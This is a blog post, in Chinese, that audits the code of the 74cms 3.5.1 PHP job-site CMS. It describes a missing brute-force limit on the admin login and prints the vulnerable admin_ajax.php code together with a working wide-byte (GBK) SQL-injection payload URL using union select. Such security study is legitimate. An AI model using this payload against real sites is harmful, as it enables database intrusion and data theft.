2020/2/22 74cms3.5.1 代码审计
0x00 网站结构

简单试了一下。每一个模块还是比较清楚的,分别对应网站的一个模块。还有一些没有权限访问
0x01 通读代码
先看入口文件,index.php
开头先对网站是否安装做了判断
然后就是判断是否是手机浏览
页面的变量都做了很好的过滤,单引号闭合,且intval强制转换
然后引入了配置文件:
/include/common.inc.php
include/mysql.class.php
我们跟进
/include/common.inc.php:
74cms 公共配置文件
页面包含了几个文件,我们一会跟进,先来看看这个页面
对变量过滤:
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST
有一个点:
$online_ip=getip();
$ip_address=convertip($online_ip);
我们一会看一下$ip_address是否拼接到了数据库是否能注入
页面最后
if ($_CFG['filter_ip'] && check_word($_CFG['filter_ip'],$online_ip))
{
$smarty->assign('info',$_CFG['filter_ip_tips']);
$smarty->display('warning.htm');
exit();
}
对ip进行了过滤。看起来过滤了字符。
跟进data/config.php

看到gbk,想到了宽字节注入,即使他的页面有时做了转义,依旧能注入
include/common.fun.php
这个就是一整个过滤页面了
过滤了sql,xss
同时ip注入几乎不可能了
include/mysql.class.php
$dbcharset = 'gbk'
于是我们就可以想到了,之后的测试中有目的的进行宽字节注入。
0x02 后台管理员密码可以爆破
我们先打开了后台

看到没有验证码
简单测试了一下并没有对密码错误有什么限制
复现:

虽然速度慢了些但是可以看到还是能够爆破出来密码

0x03 SQL注入漏洞
按照之前的思路找宽字节注入
为了快速挖掘宽字节注入漏洞,我们全局搜索关键字iconv,iconv()函数通常用来进行编码类型转换,搜索后发现共有21处使用了iconv(),我们选择一个文件进行分析,该文件为:/admin/admin_ajax.php
问题代码:
elseif($act == 'get_jobs')
{
$type=trim($_GET['type']);
$key=trim($_GET['key']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$key=iconv("utf-8",QISHI_DBCHARSET,$key);
}
if ($type=="get_id")
{
$id=intval($key);
$sql = "select * from ".table('jobs')." where id='{$id}'
LIMIT 1";
}
elseif ($type=="get_jobname")
{
$sql = "select * from ".table('jobs')." where jobs_name like
'%{$key}%' LIMIT 30";
}
elseif ($type=="get_comname")
{
$sql = "select * from ".table('jobs')." where companyname
like '%{$key}%' LIMIT 30";
}
elseif ($type=="get_uid")
{
$uid=intval($key);
$sql = "select * from ".table('jobs')." where uid='{$uid}'
LIMIT 30";
}
else
{
exit();
}
$result = $db->query($sql);
while($row = $db->fetch_array($result))
{
$row['addtime']=date("Y-m-d",$row['addtime']);
$row['deadline']=date("Y-m-d",$row['deadline']);
$row['refreshtime']=date("Y-m-d",$row['refreshtime']);
$row['company_url']=url_rewrite('QS_companyshow',array('id'=>$row['company_id']),false);
$row['jobs_url']=url_rewrite('QS_jobsshow',array('id'=>$row['id']),false);
$info[]=$row['id']."%%%".$row['jobs_name']."%%%".$row['jobs_url']."%%%".$row['companyname']."%%%".$row['company_url']."%%%".$row['addtime']."%%%".$row['deadline']."%%%".$row['refreshtime'];
}
if (!empty($info))
{
exit(implode('@@@',$info));
}
else
{
exit();
}
}
elseif($act == 'get_company')
{
$type=trim($_GET['type']);
$key=trim($_GET['key']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$key=iconv("utf-8",QISHI_DBCHARSET,$key);
}
if ($type=="getuname")
{
$sql = "select * from ".table('members')." AS m LEFT JOIN
".table('company_profile')." AS c ON m.uid=c.uid where m.username like
'{$key}%' AND m.utype=1 LIMIT 20";
}
elseif ($type=="getcomname")
{
$sql = "select * from ".table('company_profile')." where
companyname like '%{$key}%' LIMIT 30";
}
else
{
exit();
}
$result = $db->query($sql);
while($row = $db->fetch_array($result))
{
if (empty($row['companyname']))
{
continue;
}
$row['addtime']=date("Y-m-d",$row['addtime']);
$row['company_url']=url_rewrite('QS_companyshow',array('id'=>$row['id']),false);
$info[]=$row['id']."%%%".$row['companyname']."%%%".$row['company_url']."%%%".$row['addtime'];
}
if (!empty($info))
{
exit(implode('@@@',$info));
}
}
这里的iconv()函数将变量$key由gbk编码转换为了utf-8编码。在我之前的宽字节注入文章中提到过单引号被addslashes转义成为',如果提交%df,那就会与(url编码为%5c)组合成为了%df%5c,也就是gbk编码中的“運”字,组合之后被转义的“ ' ”中的“ ‘ ”还存在,成功闭合了之前的单引号。
复现
payload:
http://127.0.0.1/74cms/admin/admin_ajax.php?act=get_jobs&type=get_jobname&key=%E9%81%8B%27%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23
0x04 总结
这个cms过滤的已经是挺严格了,最大的问题就是74cms的通病,宽字节注入。
在后来的版本中即使iconv()被替换,仍然存在这个问题。
还有74cms默认不开启验证码,即使开启了我们也能绕过,这个就造成了我们可以爆破任意用户的密码。
下一个cms不知道啥时候开始审计,准备开始学习python编程了233.
继续努力吧。还剩点时间去写回java作业orz
2020/2/22 74cms3.5.1 代码审计的更多相关文章
- VBE2019的下载、安装和使用(最新版2020.2.22)
VBE2019可用于XP系统.Windows 7和Windows 10的32位.64位Office对应的VBA环境 安装包下载地址:VBE2019-Setup.zip 下载后解压缩,直接双击安装(请勿 ...
- 2020.2.22 bzoj5336 party
#include<iostream> #include<cstdio> #include<cstring> #include<cctype> #incl ...
- 2020/2/17 zzcms8.2 PHP代码审计
0x00 看网站结构 ********************************* * * * ZZCMS产品版目录结构 * * * ****************************** ...
- Office Shared-Addin : Favorite的下载、安装和使用(2020.2.22)
Favorite是一个可以用于Office常用组件.VBA的共用加载项,32位和64位都兼容. 如果是Office 2007及其以上版本,界面显示为Custom UI+任务窗格. 如果是Office ...
- 2020.5.22 第二篇 Scrum冲刺博客
Team:银河超级无敌舰队 Project:招新通 项目冲刺集合贴:链接 目录 一.每日站立会议 二.项目燃尽图 三.签入记录 3.1 代码/文档签入记录 3.2 主要代码截图 3.3 程序运行截图 ...
- 2020年AI、CV、NLP顶会最全时间表
2020年AI.CV.NLP顶会最全时间表 2019-09-01 14:04:19 weixin_38753768 阅读数 40 2020 AI.CV.NLP主流会议时间表,包含会议举办的时间.地 ...
- 《Photoshop 2020》初心版_v6 21.0.2.57
<Phtoshop 2020>初心版_v6 下载地址(5245) SHA1:E926A1B99D147A27A44050A5BCE2E69E2CDAEEAE 版本信息 发行版本 20 ...
- Python 爬取 北京市政府首都之窗信件列表-[Scrapy框架](2020年寒假小目标04)
日期:2020.01.22 博客期:130 星期三 [代码说明,如果要使用此页代码,必须在本博客页面评论区给予说明] //博客总体说明 1.准备工作(本期博客) 2.爬取工作 3.数据处理 4.信息展 ...
- Spring Cloud 2020.0.0 正式发布,全新颠覆性版本!
Spring Cloud 2020.0.0 没错,Spring Cloud 2020.0.0 正式发布了: 感谢Java技术栈群友通知,想入群的在公众号Java技术栈后台回复:wx,正在使用 Spri ...
随机推荐
- Django 学习之用户认证组件auth与User对象
一.auth模块 from django.contrib import auth django.contrib.auth中提供了许多方法,这里主要介绍其中的三个. 1 .authenticate() ...
- 纪录片 - Why Are We Fat?(全3集)
1. 传送门:https://www.bilibili.com/video/av13977351?spm_id_from=333.338.__bofqi.16 2. 笔记 第一型糖尿病是天生的,第二型 ...
- Python可视化界面编程入门
Python可视化界面编程入门具体实现代码如所示: (1)普通可视化界面编程代码入门: import sysfrom PyQt5.QtWidgets import QWidget,QApplicati ...
- python中提取位图信息(AttributeError: module 'struct' has no attribute 'unstack')
前言 今天这篇博文有点意思,它是从一个例子出发,从而体现出在编程中的种种细节和一些知识点的运用.和从前一样,我是人,离成神还有几十万里,所以无可避免的出现不严谨的地方甚至错误,请酌情阅读. 0x00 ...
- 简述javascript的解析与执行
我们知道浏览器中javascript程序的执行是基于变量与函数的.那么浏览器是如何保存数据,又是如何执行的呢?今天我们一起来探究一下! 0.写在前 最新的 ECMAScript 标准定义了 8 种数据 ...
- linux系统下安装两个或多个tomcat(转)
tomcat不用添加到环境变量中 直接解压两个tomcat 来到第二个tomcat的conf目录下 打开server.xml更改端口: 修改server.xml配置和第一个不同的启动.关闭监听端口 ...
- Acwing272 最长公共上升子序列
题目大意:给定两个大小为n的数组,让你找出最长公共上升子序列的长度. 分析:这是一个比较好的dp题,LIS和LCS两大经典线性dp问题相结合,简称LCIS. 代码(O(n*n*n)写法): #incl ...
- jmeter用Stepping Thread Group 递增并发数
jmeter安装插件Stepping Thread Group 如图所示设置的时候,本以为是每2秒 按 1 2 3 4 递增的,总共请求应该是10个,可是运行后却请求了几十个. 这个是有关线程数是否就 ...
- 获取网卡MAC、硬盘序列号、CPU_ID、BIOS编号
抄来的 获取网卡MAC.硬盘序列号.CPU ID.BIOS编号 本文中所有原理及思想均取自网络,有修改.其中获取硬盘序列号.获取CPU编号.获取BIOS编号的原始代码的著作权归各自作者所有. 以下代码 ...
- springboot整合logback集成elk实现日志的汇总、分析、统计和检索功能
在Spring Boot当中,默认使用logback进行log操作.logback支持将日志数据通过提供IP地址.端口号,以Socket的方式远程发送.在Spring Boot中,通常使用logbac ...